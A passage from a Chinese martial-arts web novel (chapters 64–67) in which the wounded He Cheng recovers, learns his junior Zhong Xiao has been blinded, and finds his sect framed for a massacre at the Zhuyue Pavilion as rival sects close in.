当时,他从湘城带回青山城的,是贺承贺启兄弟两人。 兄弟明明二人一起长大,一起流浪,一起跟恶犬抢肉包子,却长出不一样的性格来。贺启也是吃过苦的,却显得天真单纯,而贺承小小年纪,便很霸道,想要的东西便去抢,像只凶猛的小兽一般,两败俱伤,在所不惜。 可他拼了命去抢的东西,都是给他弟弟贺启的。 他没有想要的东西,又或者是,他也不知道自己要什么东西,能要什么东西。 那么小的一个孩子,若是生在寻常人家,正是自由自在疯玩的年纪,他却在颠沛流离中不得不长出锋利的爪子。 而这副撕扯开血肉、好不容易才长出来的爪子,被他用来为弟弟撑出一片晴好的天。 庄荣有时候觉得,自己偏心这个孩子,想要教给这个孩子更多的东西,不仅仅是因为他是已故旧友的遗孤,不仅仅是因为他骨骼清奇天资过人,还因为心疼,因为不放心—— 怕他被欺负,怕他被受伤害,怕那么柔软那么好的一个孩子,又要在身上插满锋利尖刺。 庄荣印象中,贺承很少喊疼。 小时候是心存戒备,长大后是独立自强,总之都是不肯示弱的。 他唯一记得的一回,是贺承十岁左右,爬树摔断了手臂。那时贺承来青山城已经快四年,又是半大不小的年纪,没那么生分,也没那么要强,难得地愿意趴在他师叔怀里掉眼泪。 “我要下刀了,按牢了,别让他乱动。” 李大夫的声音打断庄荣的回忆,他回过神来,更紧地压住贺承微微颤抖的肩膀,哑着声音安抚他:“再忍一忍,马上就好。” 这回,贺承已经彻底醒了,他咬着牙,低低应了一声,再没说话。 剜肉剔骨的剧痛下,贺承脸上冷汗淋漓。 自他的眸光恢复清明,庄荣觉察到,手掌下的身体不再挣扎,可肌肉却悄然紧绷。他没有再喊疼,大夫的刀剜去碎肉,大夫的针线穿过皮肉,他气息凌乱,也只是拧着眉头要破嘴唇,默默受着。 忽然,庄荣怀念起十岁时候、趴在自己怀里的小贺承。 那时,他会哭,会喊疼。 如今长大了,不会哭了,连喊疼都要仗着神志不清时,偷得片刻软弱。 第64章 第六十四章旧梦他们怎么了? 清创,缝合,上药,包扎。 李大夫的手很快很稳,一串动作毫不拖泥带水。处理伤口的全程,贺承都醒着,默不作声地醒着,任由冷汗湿透鬓角,除了半昏半醒间的那一句“师叔”,再没有吐出一声呻吟。 最后一针落下,李大夫轻轻巧巧挽了个绳结,呼出一口气:“好了,等着血肉自己长出来就是了。” 庄荣也随着松了口气,松开按在贺承肩膀上的手,尚不及安慰贺承一句,便见他眼中微弱的光登时散了,眼睫一垂,脱力昏厥过去。 处理完伤口,李大夫边在盆中净手,边交代:“这么深的伤口,又几番撕裂,迟些肯定是要起烧的。我留个方子,两日之内若能退热,便没有大碍了,若退不了热,只怕真的要等我那师兄来妙手回春了。” “不过——”他接过帕子擦手,回头看了眼床上奄奄一息的贺承,欲言又止。 庄荣心里一紧,追问:“怎么了?” “我之前也说了,我不擅长诊治经脉脏腑里的暗伤。这半年里,孟元经找了我很多回,我对孟元纬深入经脉的伤也是束手无策。” 今日贺承的伤皆拜孟元经所赐,而这一切的导火索又要追至孟元纬的那一身伤,因而李大夫提起孟家兄弟的名字,不仅是站在他身边的庄荣,连守在贺承床边的陆晓怜,也抬头看过来,等着他往下说。 李大夫被看得心里发虚:“我不精于此,判断错了也是有的,你们别这么看着我。” 庄荣道:“但说无妨。” “江湖上都传,是青山城弟子贺承在无涯洞外虐杀四大门派弟子,可我看其中有不少蹊跷之处。”他又往贺承的方向看了一眼,眉头微蹙,“你们应该也知道,他身上是有旧伤的,我刚刚看过,他所伤之处与孟元纬几乎是一致的。” 庄荣与陆晓怜不约而同:“什么意思?” “都说是贺承伤的人,可他自己的伤是怎么回事?伤在同样的地方,只是巧合吗?”说到这里,李大夫已经收拾好了自己的药箱,抬腿欲走,又回头过来补充一句,“他如今这副样子,你们若想要他活,就先别急着逼问他,别让他情绪激动,先保命要紧。” 庄荣讷讷道:“这是自然。” 李大夫又说:“记得让他把药喝了。两日后,若退了热,人却不醒,再来找我,若是高热退不下去,便不必找我了,等我那师兄来,或者直接买一副棺材拖回青山城去吧。” 李大夫走后,贺承一直昏昏沉沉地睡着。守在门外的弟子熬了药来,陆晓怜和庄荣狠着心将沉睡中的贺承喊起来喝药。 熬得黢黑的汤药灌下去,他眉头也不皱一下,却在神志昏昏半睡半醒间,还记得问一句:“钟晓和小启回来了没有?” 夜色已深,西江城就那么大,逐月阁与石鼓路小院的距离不能算远,如果钟晓和贺启顺利脱身,早该回来了。 可送走李大夫之后,小院的门再没有开过。 陆晓怜与庄荣相视一眼,心沉沉坠了下去。 眼见两人沉默不语,贺承气息一滞,脸色越发惨白。 这人刚刚才处理好伤口,半只脚还在鬼门关里没出来,庄荣怕他再有差池,忙按住他的肩膀,安慰道:“已经让人去逐月阁外面等着接应了,天亮后若还是没有消息,我亲自去逐月阁一趟,孟元经总不能连长辈的面子都不给。” 话虽如此,可如今的孟元经真的会卖庄荣这个面子吗? 他扣留陆晓怜在先,围困钟晓、贺启在后,又对贺承下了杀手,事情到了这一步,逐月阁与青山城就算是撕破了脸皮。以孟元经此时疯魔的样子,即便庄荣去了,也未必能讨得几分好脸色。 “不,孟元经不大对劲。”贺承眉头紧锁,“师叔,要当心。” “知道了,这些事不用你操心了,吃了药快继续睡。” “在西江城中,我们势单力薄,没人知道孟元经会做出什么事情来。”钟晓和贺启生死未卜,贺承哪里能睡得着?他想到这些人聚到西江城来,深入逐月阁中去,皆与他有千丝万缕的关联,又是忧心又是自责,黯然道:“都是因为我,你们才会陷入险境。” 庄荣轻轻一拍贺承的额头,一如既往地护短:“孟元经那小子发癫,跟你又有什么关系?别瞎往自己身上揽罪责。听话,躺下来睡觉,等我明天把那两个不成器的小兔崽子接回来,咱们就回青山城。” 如今陆岳修下落不明,青山城群龙无首,庄荣才被推上管事人的位置上。平日里他沉迷武学,便是在青山城时,也鲜少插手事务,遇见过的江湖纷争不比贺承他们多多少。 此刻他语气轻快,是真心觉得明日去一趟逐月阁,便能将钟晓与贺启带回来。 近来,庄荣没有正面遭遇过孟元经,不知他举全逐月阁之力围杀陆晓怜和贺承时的狠厉,可与贺承一同九死一生逃出逐月阁的陆晓怜则不然。 她知道贺承眉头紧锁,担忧着什么,放下药碗,认真道:“师兄,你放心吧。天一亮,我就去找金波。我们在西江城确实人单力薄,若让她与师叔同去,她手里的蛊虫,兴许能排上用场。” 这话真算得上醍醐灌顶! 贺承失血过多,神志昏沉,竟全然忘了还有个等着给他们搬救兵的金波等在西江城中另一个处所 。他霍然抬头:“不,你现在就去找她。” 这是与钟晓和贺启性命相关的事,贺承的要求并不是没有道理,陆晓怜没有纠结犹疑便一口应下。出门前,她只反过来要求他一件事:“好,等你睡了,我就去。” 贺承似乎还想说什么,可抬眼对上陆晓怜的目光,把到嘴边的话咽了下去。 陆晓怜的脸上是不容置疑的坚定,没有留给他一点讨价还价的余地,他恍然想起百花谷中,药泉池里,他们携手潜入水底找寻开关时,她对他说,她已经长大。在这一刻,她的那句话越发真实可感,摒除了骄纵任性,分得出轻重缓急,她已经长大,她不想要他的庇护,她想要成为与他并肩而立、抵背而战的人。 他后知后觉地发觉,事实上,这一路上的很多时刻,她已悄然长成她想成为的模样。 最终,除了交代陆晓怜路上当心,贺承没有再多说什么,只让她回来了叫醒他。 可他这一觉太深,不是没人叫他,是高烧昏厥中,没人能叫得醒他。断断续续地,他做了很多的梦,在梦里,他遇到很多许久不见的人…… 恍然间,他好像来到湘城的某一个风雪夜,走进山间那座破败的山神庙,又见到那个蜷缩在庙宇角落里、衣着褴褛的老乞丐。 年迈的乞丐生了病,瘦成一幅枯骨,气息奄奄地倒在山神庙里那垛和他一样干枯衰败的草堆上。他的身旁有两个孩子,都是伶仃可怜的模样,却依偎在他身边,像是病树旁长出来的不服输的两棵小笋,鲜嫩,明亮,春雨一浇,便会抽条拔高,长成傲然翠竹。 那年的湘城,冬日格外长也格外冷,死了很多人,也包括老乞丐。 那一夜风雪呼啸,呵气成冰,尚不晓事的贺启趴在老乞丐怀里,枕着他心口最后一抹热气,安安稳稳地睡着。贺承只比贺启年长三岁,因为见过了太多人死在隆冬的寒风里,所以比他懂事得多,也比他不安得多,他彻夜不敢合眼,握着老乞丐粗糙而冰凉的手,甚至忘了流眼泪。 老乞丐最后的力气都用来祈求贺承。 他待贺承并不坏,但也说不上多好,拉扯着年幼的孙子,挣扎于温饱之间的人,愿意施舍一口薄粥,已是莫大的善良,不会再有更多的偏爱施于外人了。 他不是没有打骂过贺承,他不是没替贺启从贺承手里抢过东西,他来不及等贺启长大,便要吹灯拔蜡,他满心都是害怕,他怕贺承有怨,他怕世情凉薄,他怕他死后,他幼小的孙儿无处可依。 有人只看到无垠夜色,有人能在黑暗中捉到一缕月光。贺承显然是后者,他明明在风雨飘摇中帮忙撑过伞,回头看时,只记得那时有人牵过他的手。 他总是将不好的事,忘得很快很快,正如他总是将零星的一点好,记得很牢很牢。 于是,在濒死的老乞丐面前,年幼的贺承许下此生第一个郑重的承诺。 他说,他永远是贺启的兄长,无论何时何地,他都不会弃贺启于不顾。 梦里,长大后的贺承站在寒风里看着年幼的自己,目光澄澈,语气郑重,用稚嫩的声音向老乞丐许诺,一字一字如钟声撞在他耳边,他只觉得耳边嗡鸣,仿佛有什么被他忘掉的事情,像春风吹过草原般,飞快地长了出来。 究竟是什么呢? 直到那稚嫩的童声,被不知来处的刀剑铿锵声盖过去。 他才恍然想起他忘掉的那件事—— 他把贺启弄丢了!丢在刀光剑影中,丢在山穷水尽处! 他转身奔跑,他不知道自己要去哪里,只是心里有个声音在告诉他,再快一点,得再快一点,否则就要来不及了! 贺启在哪里?究竟为什么会来不及? 他没有答案,只是像一匹无人驾驭的马,发疯般地狂奔。 不知道奔了多久,跑出多少距离,贺承恍惚听见贺启在身后喊他。他停下脚步转过头去看,只看见贺启心口明晃晃地扎着一支箭,他像溺水之人奋力伸出手,用尽力气求救,凄厉地喊:“哥,救我——” 贺承伸出手去,指尖尚未触碰到贺启,眼前的人却换成了钟晓的模样。 钟晓的境况比贺启还要惨,全身都是伤,青色的袍子被血色染得脏污不堪。不知哪里打出来的一股力道,将他横在身前的绿竹剑震成两段,他也被震得横飞出去,脊背重重砸上道旁的青石,他歪倒在青石下,大口大口呛咳出血,艰难道:“师兄——” “钟晓——”贺承快步上前,正要查看钟晓的伤势,只觉一阵眩晕,侧倒在地上的钟晓又不见了踪影,定睛一眼,倒在地上的人,却又变作了陆兴剑。 世人皆知青山城掌门陆岳修的长子陆兴剑君子端方,平日里最爱穿一身胜雪的白衣,只是今日他白衣染血,犹如白璧生瑕,令人唏嘘。陆兴剑颤抖着捡起掉落脚边的凌云剑,将剑柄递到贺承手里,望向贺承的目光凝着叹息:“小承,只是苦了你了……” 贺承心里明明不想接陆兴剑手里的剑,他不知道自己为什么会怕,甚至怕得想要后退逃跑,可是他却控制不住自己,只能眼睁睁看着自己伸出手接过凌云剑,眼睁睁看着剑光如水,轻快地刺破陆兴剑的心脏,雪白的剑刃染上一蓬陆兴剑的血—— “不要!”贺承猝然睁眼,惊醒过来。 梦中刺出的那一剑,仿佛不是刺向陆兴剑的心脏,而是刺向贺承自己。他讷讷抬手摁住自己的心口,只觉得掌下心跳如捣,心口尖锐地疼着。 陆晓怜寸步不离地守在贺承床边,听见动静,欣喜道:“师兄,你终于醒了!” “我……”贺承开口,才发觉自己的嗓子哑得厉害,抿了一口陆晓怜递过来的温水,才能接着把话说完,“我睡了很久?” “很久!你烧了三日,也睡了三日,李大夫都说你可能醒不过来了!” “三日?”贺承的目光缓缓梭巡过房间,想起梦中的场景,心里发慌,“钟晓和小启怎么样了?师叔呢?都从逐月阁回来了吗?” “嗯,都回来了。” 都回来了? 可贺承盯着陆晓怜,清清楚楚地看见她眼下浮着一层淡青的阴翳。这显然是熬了几天没有睡。可此刻,这间房间里除了陆晓怜,再没有其他人。若是庄荣、钟晓他们都在,即便陆晓怜坚持,他们也不会心安理得地让她独自一人守着他。 除非,是实在脱不开身。 想到这里,贺承的心沉沉坠了下去:“他们怎么了?” 第65章 第六十五章盲他再也看不见了。…… 陆晓怜并不是不会骗人,只是要瞒骗的人是贺承,实在令人一筹莫展。 在贺承的目光下,她觉得自己仿佛变回了青山城里练功时爱偷懒的那个小姑娘,背着大哥和师兄溜去后山晒太阳或者摘野果,日头偏西时晃晃悠悠地回来,在贺承面前装出一幅可怜兮兮的模样,说自己迷路了,说自己摔跤了,说自己睡迷糊忘了时间,她总是能找到理由为自己开脱。 那时,贺承也是这样默不作声地看她,不动声色地将她的心虚内疚引出来,逼得她不得不装傻卖乖地拉着她师兄的一角衣袖,诚恳认错。 他们朝夕相伴了太长时间,太过熟悉彼此,她摸一下头发,眨一下眼睛,贺承便能知道她说的这一句究竟是不是谎话。 所以,要骗要瞒,是万万行不通的。 “你别急,大家都没有性命之虞,只是——”陆晓怜心知躲不过,硬着头皮往下说,“只是钟晓伤了眼睛。” “怎么会伤了眼睛?”贺承错愕,“找大夫看过了吗?怎么说?” 陆晓怜神色凝重:“大夫说,伤是能治,可即便治好,十有八九,眼睛也坏了。” “坏了?” “嗯。”陆晓怜深吸一口气,“就是,再也看不见了。” 贺承呼吸一滞,脸色雪白,一时说不出话来。 贺承自己身上也带着伤,路都走不稳,可他执意要去看望钟晓,陆晓怜拗不过他 ,只能扶着他走一段歇一段。好在庄荣他们包下了的这个院子不大,从贺承养伤的房间走到的钟晓养伤的房间不算远,虽然艰难,但咬咬牙,也不是遥不可及。 守在钟晓房间里的是金波。 那日夜里,陆晓怜漏夜而行去请金波,两人在回来的路上遇见了浑身是血的钟晓和贺启。夜色深深,月光凄迷,她们分辨不清这两人身上的血究竟是他们自己的,还是旁人的,直到把两人扶回石鼓路,点上灯,才发现钟晓的一双眼睛上凝着厚厚一层血。 此刻,钟晓身上的血迹已经被擦拭得干干净净,穿一身青色的衣裳正坐在窗边。他受伤的双眼蒙着雪白的布条,窗户敞开着,冷风灌进来,将布条的边沿吹得轻轻颤抖,像一朵瑟缩的雪花。 金波翻了条毯子出来,披到钟晓肩上,劝他:“我把窗子关了吧,天太冷了。” “不要。”钟晓稍稍仰起头,任冷风扫过他的额头、他的脸颊、他的嘴唇。他深深吸了口气,泛白的唇挽起微小的弧度:“看不见冬天,至少风是冷的。如果什么关在房间里什么也感受不到,跟死了就真的没有区别了。” 透过宽敞的窗子,贺承与陆晓怜一同向院子里望去。 不知不觉间,已是深秋,院子里的那棵孤零零的梧桐树挂着灰扑扑的枯叶,风一吹,便落了满地。许是这几日太忙,院落里的落叶无人打理,它们已经在梧桐树下积攒了厚厚一堆,守着它们的来处。 “那就不关吧,我给你倒点热茶暖一暖。”金波像是纵容孩子一样,对钟晓言听计从,转头正看见站在门边的贺承和陆晓怜,竭力装出平静的模样,眼眶却悄悄红了,“晓怜姐姐,贺大哥,你们来了。” 贺承脸色煞白地看着窗边的钟晓,血色淡薄的唇动了动,却没说出话来。 陆晓怜不是第一次见到这样的钟晓,比贺承平静许多。她边同金波打招呼,边扶着贺承往里走,将脚步踩得很重。 那是陆晓怜故意想让钟晓听到的。 知道钟晓受伤失明后,她闭着眼睛在院子里走,试着与他感同身受。在闭眼后的短暂黑暗中,她觉得自己仿佛航行在无边无际的海洋里,风浪暗流都不在自己的掌握中。 她永远无法感同身受,她在黑暗中的航程很短,睁眼便是海岸,而钟晓的船要在这片没有边际的海上,永无休止地漂流下去。 钟晓的船驶不进港湾,她无能为力,只能默默为他标记出风浪与暗涌。 钟晓偏过头来,凝神分辨陆晓怜与贺承的方位:“师兄?你怎么还到处跑?” 贺承确实不该出来,这几步路不仅耗光了他的力气,也隐隐牵扯腰腹间的那处剑伤,此刻脸色霜白,额角浮着一层冷汗,虚弱不堪,可他欺负钟晓不见,睁着眼睛谎话连篇:“我又没什么事,怎么还不能出来走走?” “骗人!”钟晓一针见血,“我看见孟元经刺的那一剑了,我,我那时还看得见的。” 经这一句话提醒,贺承才恍然想起,孟元经的剑贯穿他的身体时,钟晓也是在场的,那时他已经快要撤出孟元纬的院子,他本可以全身而退,他是为了救他们才会去而复返,才会被困在逐月阁,才会被毁掉了一双眼睛! 贺承声音干哑:“钟晓……” “可是师兄,我替你讨了一剑回来。”钟晓却有些兴奋地打断贺承,笑意落在他缠着纱布的脸上,令人不知该和他一起开心,还是该替他难过。没有人接话,安静的房间里只有钟晓含笑的声音:“虽然是孟元经不知为什么忽然走了神,让我捡了漏。” 贺承原本担心,钟晓还不愿意提及那一场厮杀,不愿意面对他的伤,此刻见他如此坦然,贺承索性顺着话题,问下去:“那日究竟发生了什么?怎么会伤了眼睛?” 那日究竟发生了什么? 兵荒马乱的,其实钟晓自己也说不清楚。 那日贺承为了护住陆晓怜,被孟元经重伤,钟晓正要跃下矮墙去帮他们,就看见他们不知怎么的,闪身躲进假山间的石洞里。他转身往院子外面跑,找了个角落藏身,仔细权衡了一番是否立刻出去搬救兵,还是决定待在逐月阁里,伺机接应贺承和陆晓怜。 后来,孟元经在石洞外喊话逼贺承他们出来时,钟晓听见动静,再次加入战局。 因为孟元经与贺承交手时也受了不轻的伤,钟晓竟能与他打得有来有往。原本钟晓无意伤人,只想拖住孟元经,好让贺承和陆晓怜顺利脱身。 可不知为何,贺承他们从石洞中出来时,孟元经朝他们看了一眼,手中的剑猝然一顿,也是这一停顿,让钟晓有了可乘之机,将绿竹剑刺了过去。 利刃刺入血肉,钟晓握着剑柄,能感受到剑锋的震颤。 “你——”孟元经错愕道,“怎么会?” 钟晓拔剑出来,还有礼有节地说道:“元经哥,得罪了……”不想话没说完,有一只瘦白的手握着剑从钟晓眼前掠过,他只觉一泓冷光掠过,双眼一凉,随即翻起剧烈的疼痛,他的眼前霎时只剩一片浓稠的血色…… 金波陪了钟晓三日,虽然好奇他如何受的伤,却怕他难过,不敢多问。她也是此时才知道那日的情形,忍不住道:“那个逐月阁,是什么关疯子的地方吗?打架就打架,划伤你的眼睛做什么?” “确实很奇怪。”陆晓怜点头,“逐月阁弟子见你伤了孟元经,想要一报还一报,往里身上随便哪里刺一剑便是,为什么要这样精准来刺你的眼睛,除非——” 说到这里,陆晓怜顿了一下,瞳孔蓦然一缩:“除非是不想让你看到什么!” 这话一出,屋子里的人都陷入了沉默。那日去过逐月阁的三个人兀自回忆起那日的点滴细节,将那日路过什么地方,见过什么人,听过什么话,都细细回想了一遍,试图在其中翻出关于逐月阁意图隐瞒之事的蛛丝马迹。 金波没有跟他们一道去过逐月阁,思路发散到其他地方去,想了一圈,弱弱举着手问:“可是那日在场的除了钟晓,还有贺启,如果有什么不想让外人看见的,贺启也是外人啊,他们为什么只伤钟晓的眼睛?” 经她一问,贺承才想起来自己醒来后一心扑到钟晓身上确实没顾得上过问贺启的情况,也不知他受没受伤,此刻是死是活 “你别急,贺启没事。”陆晓怜握住贺承的手,不等他开口问,便温声安抚,“他只受了点皮外伤,拿着你留给金波的信物,去枕风楼搬救兵了。” “为什么?” 陆晓怜看了眼那头小心翼翼把热茶塞进钟晓手里的金波,并不点破,只说:“枕风楼在湘城,贺启与你一样,小时候都在湘城待过,路途自然要熟悉一些。何况他还说,他和你小时候都受枕风楼楼主沈懿行照抚,他去,比金波去要方便得多。” 贺承眉头未展:“我是问,既然所有人都从逐月阁中撤出,为什么还要去枕风楼搬救兵?”他紧紧盯着陆晓怜,不放过她神色中一丝一毫的躲闪,沉声问:“小启去了枕风楼?那师叔呢?院子里的师兄弟们呢?这几日,究竟还发生了什么事?” 贺承的语气太过严厉,以至于金波都握住钟晓的手,也不知是想安慰他,还是需要他的安慰。钟晓的手被她握着,手指蜷曲了一下,兴许是觉得小姑娘需要人安慰,并没有狠心挣脱开。 陆晓怜深深吸了一口气,声音也是异常低沉。 犹如一记闷雷在天边炸开,随即要招来不绝的风雨,掀起滔天的波浪。 “那日我们离开后,逐月阁惨遭屠杀,阁中弟子一百余人,横尸期间。”陆晓怜说,“其中,包括孟元经。” 第66章 第六十六章污水我们百口莫辩。…… 窗外是深秋萧瑟的风,枯叶簌簌落地,衬得石鼓路的这座院落静得可怕。 陆晓怜言简意赅,已经将事情说得很清楚。他们几个人几天前在逐月阁里九死一生,此刻伤的伤,盲的盲,诚然对孟元 经有怨怼有不解,但无论如何不至于恨到要治他于死地。因而,听到这个消息,满屋子的人都说不出话来。 只有贺承是刚刚知道此事,目光猛然一颤,沉声道:“怎么会?” 任谁听到这个消息都会觉得难以置信。 按理说,确实不该如此。逐月阁可不是什么小门小派,开山立派已有百年之久,比近几十年出尽风头的青山城和凤鸣山,还要深厚悠久。江湖便是一张网,像逐月阁这样底蕴深厚的门派,或因师承,或因结亲,或因结义,与不少门派都能牵扯出一些渊源。逐月阁的关系网错综复杂,它若不与人结怨,轻易是没人愿意招惹的。 “查出来是谁,又是为了什么事,要下此狠手的吗?”贺承又接着问,“我自醒来便没见到师叔,他是带着师兄弟们,去逐月阁帮忙了?” 这话当然不是冲着金波问的,可金波的眉头却跟着皱起来,担忧地看了一眼陆晓怜。 只见陆晓怜眉间笼着一层郁郁愁色。她挣扎片刻,深吸一口气:“师兄,其实……” “师姐!”沉默许久的钟晓却在她开口的瞬间仓促打断她,笨拙地提醒,“师兄刚醒,身上还有伤,别让他操心太多,你还是早些送他回房休息吧。” 这提醒实在是此地无银三百两。 正值多事之秋,这座小小院落风雨飘摇,陆晓怜却被钟晓这句话闹得想笑。好在她也并不打算隐瞒什么,贺承不是傻子,他只不过是刚醒,听闻了太多事情,还没回过神来,等他把这些事情串起来,不用他们说,他也能将所有事摸出个七八成。 反正也瞒不住,与其让他费神去猜,还不如和盘托出,一同面对。 “钟晓说得对。”陆晓怜在贺承身侧蹲下来,握住他的手,正色道,“师兄,我什么也不瞒着你,什么都告诉你,但是你要答应我,别太担心,别太着急,好不好?如今我们所有人都在一起,事情总是能解决的。” 贺承从来没有见过陆晓怜这样严肃正经地说话。 他想,她这样说话,一定是发生了很严重的事情。他对于自己将要听到的消息毫无预判,可是她那样镇定,他忽然觉得,她是他浮在浩浩江海中的一段浮木,她是他走进茫茫荒漠里的一棵绿树,在这一刻,他可以全然依赖她。 他相信她说的话,他们所有人都在一起,不会有过不去的难关。 贺承反握住陆晓怜的手:“好,你说。” 钟晓急得站起身,撞过桌椅,循着声音乒乒乓乓地前来阻拦:“师姐!” “钟晓,我们是瞒不住的。”陆晓怜转头看向钟晓,他目不视物,混乱中险些被倒在地上的椅子绊倒,幸而金波跟随左右,将他稳稳扶住。陆晓怜看着他们相挽的手臂,苦笑:“你前两天不是也想瞒着金波外面的那些事,把她支开吗?” 钟晓的脚步猝然顿住。 是的,他受伤之初,金波也是两耳不闻窗外事地守在他身边的,对于西江城中的风雨飘摇一无所知。他得知逐月阁的事,心知西江城必生动荡,本要以去枕风楼求援为名,将金波支走的,她都已经要从小院的侧门离开了,听见前院的嘈杂喧闹,又折身回来,便再也不肯走。 风波近在咫尺之间,他们连涉世未深的金波都瞒不住,怎么可能瞒得住贺承? 钟晓被陆晓怜的一句话问得哑口无言,神色郁郁地被金波扶着坐回去。 贺承安抚地拍拍陆晓怜的手,闷声轻笑,对着钟晓说道:“距离我们离开逐月阁,至少也有三日,若能离开西江城,早就已经在路上了,如今我们都还在这里,显然是因为什么缘故走不了。既然暂时走不了,究竟西江城此刻是什么境况,我们心中都要有数,真出了什么事,才好应对。” 所有人都在担心贺承,他自己语气轻松、风轻云淡的几句话,反倒将压在众人心上的那块沉甸甸的石头推开了些。房间里的气氛稍稍和缓,于是陆晓怜继续说下去:“其实我们所处的这处小院已经被重重围住了。” “是因为有人觉得,逐月阁的事与青山城有关吗?”经过钟晓刚才欲盖弥彰的掩饰,贺承心中已有猜测,结合陆晓怜说的情况,他越发确定自己的想法,步步分析下去,“没人愿意无缘无故地招惹逐月阁,可不久前,孟元经将你扣留阁中,还昭告天下,这恰好是青山城动手的缘故。” 贺承顿了一顿,又补充:“我与钟晓进逐月阁时,人尽皆知,可我们从后山狼狈离开,却未必有人看见,何况,我、钟晓、贺启都与孟元经及逐月阁交过手,他们身上多少会有青山城剑法留下的伤,我们更是百口莫辩。” “是,他们说的,跟你说的基本一样,只是还有一条——” 贺承探寻的目光看过来,陆晓怜既然答应了他不会隐瞒,便不会回避任何事情,她一咬牙,说下去:“要了孟元经性命的那一剑,穿胸而过,刺破心脏,而那一剑,是凌云剑刺的。” 凌云剑! 怎么会是凌云剑! 那日贺承被孟元经重伤,陆晓怜内力失控险些走火入魔,兵荒马乱中,凌云剑早就不知遗落何处。后来他们被困石洞,凌云剑早就不在贺承手里,他的伤口出血不止,还是烤热了贺启的剑炮烙在伤口上才止的血。 而他们被困山洞中时,孟元经分明还是活着的! 也就是说,刺破孟元经心脏的那致命一剑,虽是用凌云剑刺的,却并不是贺承刺的。 虽然孟岗带了部分弟子在凤鸣山做客,可留守在逐月阁中的弟子也有上百号人,要成功屠杀逐月阁众多弟子,不可能是临时起意。既然不是临时起意,那么杀人者必定不是空手而来的。既然有自己的兵刃,又为什么要用凌云剑杀人?若说为了掩饰自己的身份,他明明可以随便夺一柄剑,为什么偏偏挑中了凌云剑? 是巧合吗?还是有谁刻意为之? 想到这一层,众人脊背皆是一凉—— 很难说,屠杀逐月阁的人,究竟是冲着逐月阁去的,还是冲着贺承来的? 他们身在其中,所以能想得到这一层。可是外面那些将他们重重围困的人呢?他们不知始末,闻风而动,显然不愿意听这些“颠倒黑白”的狡辩。 三人便能成虎,在意真相的人又有几个? 反正不是第一次成为众矢之的,贺承倒是坦然:“他们是想要青山城给个说法吧?” 或许,不只是要青山城给个说法,还要青山城清理门户。 可事关贺承,护短如庄荣,怎么会松口? 于是双方便在这座小院内外相持不下。 “师兄,你之前得罪过什么人吗?”陆晓怜对于贺承的问题避而不答,反客为主地问他,“先是无涯洞,再是逐月阁,你是不是被什么人盯上了?” 提起无涯洞,贺承的神色有些古怪。 虽然陆晓怜并不清楚无涯洞事情的始末,可顺着她的思路深想下去,贺承却得出了跟她相似的结论:“不,被针对的不是我,而是青山城。” “针对青山城?” 陆晓怜细细想下去,去年四大门派拔尖的弟子在无涯洞外死伤以来,掌门陆岳修留书出走下落不明,代为处理城中事务的庄荣,一则没有经验,行事不够圆滑周到,二则护短,偏私贺承太过明显,早就受人诟病,青山城的威望确实大不如前。再联想近日这件事中的诸多蹊跷,陆晓怜心中一紧—— 若是借着逐月阁的事,将庄荣、贺承、陆晓怜一串人拖下水,甚至就在西江城里以命相偿,那么青山城岂不就是下一个琴剑山庄? 陆晓怜正想得暗自心惊,院子里忽然穿来脚步声,踏着满院凌乱的落叶,簌簌作响。那脚步声先是往贺承之前养伤的房间去,许是推门没见着人,来人慌乱地喊着“师姐!师姐!”,脚步声又朝钟晓的房间靠近。 果然,钟晓的房门很快被叩响。 陆晓怜抬手一挥,隔空拉开房门,外面敲门的小师弟几乎是一头栽了进来,抬头见后院的所有人都在这一间房里,也不知道该惊该喜,怔怔盯着贺承看,半晌没吭声。 陆晓怜道:“这几日的事情,你贺师兄都知道了。有什么事,不必瞒他,只管说。” 她虽然这样说,可显然是庄荣另外交代过什么,那小师弟怯怯地看了贺承一眼,还是有些犹豫。于是,贺承适时地补上一句,推他一把:“你只管说,你师父日后问起来,我就说是我自己猜到的,你若是不肯说实话,那我刚刚从你晓怜师姐那里听来的事情,便统统的算做是你告诉我的。” “凤鸣山叶掌门和逐月阁孟阁主也来了,师父说他怕是拦不住这两人,让我来同晓怜师姐说一声,让师姐想办法——”他边说,边偷偷瞟贺承,言语吞吐起来,“让师姐想办法,把贺师兄藏起来。” 把他藏起来? 贺承这么一个大活人,怎么藏? 一屋子的人还没想到对策,便听见后院的门被一脚踢开,深深浅浅地脚步声如潮水般涌了进来。潮水中夹杂着孟岗压抑着怒意的声音:“贺承呢?给我滚出来!” 第67章 第六十七章无关逐月阁的事与我无关…… 人群如水般涌进后院,画面与那一日逐月阁中重合。只是这一回来的,不仅仅是逐月阁的人,还有其他与逐月阁相交匪浅的门派,还有其他自以为正义想要讨伐贺承的门派,还有其他看不惯青山城的门派。 没人知道,为什么会有这么多人,像是约好了似的,同时来到了西江城,又像是有谁发下了一道指令,这些人愤然而起,闯进石鼓路上这座平平无奇的院落。 陆晓怜抬手一挥,将钟晓房间里敞开着的那扇窗户关上,神色凝重:“我去会会他们。钟晓和师兄都受了伤,不宜与他们短兵相接,金波,这里就交给你了。” 说罢,她起身要走,手却还被贺承握着,不得挣脱。 外面那么多人气势汹汹地站着,陆晓怜仅有一人之力,显然不是对手,贺承从来把他这小师妹当眼珠子一样护着,怎么舍得她独自涉险? “师兄。”陆晓怜开口要劝,“你别……” “我不是要拦你。”贺承的手指轻轻摩挲着她的手,抚过玲珑的腕骨,抚过细腻的手背,捏着她的手指,一节一节滑下去,恋恋不舍地松开她的指尖,“那股内息,你还不能纯熟掌控,若是要用,一定要当心,别伤了自己。” 重伤之下,他孱弱异常,可他只是坐在那里,温温和和地同她说上一句话,她似乎就能在顷刻间安定下来。她抿了下唇,深深看他:“那师兄,你就在这里等我。” “去吧,万事小心。”贺承点头,将她垂下来的碎发捋到耳后,又补一句,“不要受伤。” 陆晓怜推开房门直面外间的熙攘嘈杂时,庄荣恰好也从人群里挤出来,与那几个被人流冲散的弟子,朝陆晓怜围拢过来,横剑当胸,寸步不让。 庄荣最是看重贺承,见了陆晓怜,免不得要问一句贺承的情况。 陆晓怜的目光往身后的房门瞟了一眼,压低了声音回答他:“师兄醒了,吵着要来看钟晓,此刻正在钟晓房里。也恰好他们两人都在同一间屋子里,否则要照应两个伤员,我们也实在分身乏术。” 庄荣抬着下巴点了点人群,道:“行,我们想办法把这波人轰走。” 